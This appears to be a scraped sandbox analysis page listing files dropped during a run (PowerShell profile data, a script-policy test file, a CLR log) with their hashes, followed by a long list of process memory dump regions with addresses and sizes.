3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
359d1e37a264703c99ebd01eed362de5

SHA1
a1122c8bf9848b3371cd191ba540864204d1d845

SHA256
5781f3046b0d978469415a059cf5ceae0e532869e69ab1dffb8ed878bd299b07

SHA512
ce3caa1d2205be8167b7cd48ebf538a9ce8c148643c26a20377894aa15cf00f90b2b5e2ebf35d40a0273c088abc11fe6f010e34691d7fbc4bef8d7e482f5087d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
3ab7ee8bd461cb8494a1139999a7ebf0

SHA1
834b3b663714a6d3af9f9b9b98305283cc189c6f

SHA256
6b4b2fd92caaa3f9ed6e21bc4abf76624e0ba097bc71017885deef4557ad2728

SHA512
84f775f5557aa2fce3ab4bfb24d59619025fa4f4f72ac915561e2afed79beeb9cffb89074b6abeafc74a40e13e773bd6b3858a2d1f67267abd27bd236204230b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_h1otzyoo.kl0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1808-246-0x000001B3ECD60000-0x000001B3ECD70000-memory.dmp

Filesize
64KB

Download
memory/1808-244-0x00007FF4DE240000-0x00007FF4DE250000-memory.dmp

Filesize
64KB

Download
memory/1808-221-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/1808-222-0x000001B3ECD60000-0x000001B3ECD70000-memory.dmp

Filesize
64KB

Download
memory/1808-248-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/1808-223-0x000001B3ECD60000-0x000001B3ECD70000-memory.dmp

Filesize
64KB

Download
memory/1808-245-0x000001B3ECD60000-0x000001B3ECD70000-memory.dmp

Filesize
64KB

Download
memory/1944-234-0x00007FF634290000-0x00007FF6344A1000-memory.dmp

Filesize
2.1MB

Download
memory/1944-186-0x00007FF634290000-0x00007FF6344A1000-memory.dmp

Filesize
2.1MB

Download
memory/1944-257-0x00007FF634290000-0x00007FF6344A1000-memory.dmp

Filesize
2.1MB

Download
memory/2152-145-0x000002C033040000-0x000002C033062000-memory.dmp

Filesize
136KB

Download
memory/2152-146-0x000002C030E10000-0x000002C030E20000-memory.dmp

Filesize
64KB

Download
memory/2152-150-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-134-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/2152-147-0x000002C030E10000-0x000002C030E20000-memory.dmp

Filesize
64KB

Download
memory/2152-135-0x000002C030E10000-0x000002C030E20000-memory.dmp

Filesize
64KB

Download
memory/2160-185-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/2160-181-0x00000280619D0000-0x00000280619E0000-memory.dmp

Filesize
64KB

Download
memory/2160-170-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/2160-171-0x00000280619D0000-0x00000280619E0000-memory.dmp

Filesize
64KB

Download
memory/3208-268-0x00007FF6B5DC0000-0x00007FF6B5DD6000-memory.dmp

Filesize
88KB

Download
memory/3208-259-0x00007FF6B5DC0000-0x00007FF6B5DD6000-memory.dmp

Filesize
88KB

Download
memory/3320-152-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/3320-155-0x0000011EBED70000-0x0000011EBED80000-memory.dmp

Filesize
64KB

Download
memory/3320-163-0x0000011EBED70000-0x0000011EBED80000-memory.dmp

Filesize
64KB

Download
memory/3320-165-0x0000011EBED70000-0x0000011EBED80000-memory.dmp

Filesize
64KB

Download
memory/3320-167-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/3908-263-0x0000027D5E800000-0x0000027D5E820000-memory.dmp

Filesize
128KB

Download
memory/3908-271-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-321-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-319-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-317-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-315-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-313-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-311-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-309-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-307-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-305-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-303-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-255-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-256-0x0000027D4E030000-0x0000027D4E050000-memory.dmp

Filesize
128KB

Download
memory/3908-301-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-258-0x0000027D4E1A0000-0x0000027D4E1E0000-memory.dmp

Filesize
256KB

Download
memory/3908-299-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-260-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-261-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-262-0x0000027D4E1E0000-0x0000027D4E200000-memory.dmp

Filesize
128KB

Download
memory/3908-297-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-265-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-266-0x0000027D4E1E0000-0x0000027D4E200000-memory.dmp

Filesize
128KB

Download
memory/3908-267-0x0000027D5E800000-0x0000027D5E820000-memory.dmp

Filesize
128KB

Download
memory/3908-295-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-269-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-293-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-273-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-275-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-277-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-279-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-281-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-283-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-285-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-287-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-289-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/3908-291-0x00007FF730B30000-0x00007FF731324000-memory.dmp

Filesize
8.0MB

Download
memory/4124-169-0x00007FF607F00000-0x00007FF608111000-memory.dmp

Filesize
2.1MB

Download
memory/4124-133-0x00007FF607F00000-0x00007FF608111000-memory.dmp

Filesize
2.1MB

Download
memory/4300-210-0x0000022B9DBC0000-0x0000022B9DBDC000-memory.dmp

Filesize
112KB

Download
memory/4300-197-0x0000022B9B470000-0x0000022B9B480000-memory.dmp

Filesize
64KB

Download
memory/4300-211-0x0000022B9DBA0000-0x0000022B9DBAA000-memory.dmp

Filesize
40KB

Download
memory/4300-212-0x0000022B9DC00000-0x0000022B9DC1A000-memory.dmp

Filesize
104KB

Download
memory/4300-213-0x0000022B9DBB0000-0x0000022B9DBB8000-memory.dmp

Filesize
32KB

Download
memory/4300-214-0x0000022B9DBE0000-0x0000022B9DBE6000-memory.dmp

Filesize
24KB

Download
memory/4300-215-0x0000022B9DBF0000-0x0000022B9DBFA000-memory.dmp

Filesize
40KB

Download
memory/4300-208-0x0000022B9D970000-0x0000022B9D98C000-memory.dmp

Filesize
112KB

Download
memory/4300-216-0x0000022B9B470000-0x0000022B9B480000-memory.dmp

Filesize
64KB

Download
memory/4300-219-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download
memory/4300-198-0x00007FF4EADF0000-0x00007FF4EAE00000-memory.dmp

Filesize
64KB

Download
memory/4300-209-0x0000022B9DA50000-0x0000022B9DA5A000-memory.dmp

Filesize
40KB

Download
memory/4300-196-0x00007FFD0D110000-0x00007FFD0DBD1000-memory.dmp

Filesize
10.8MB

Download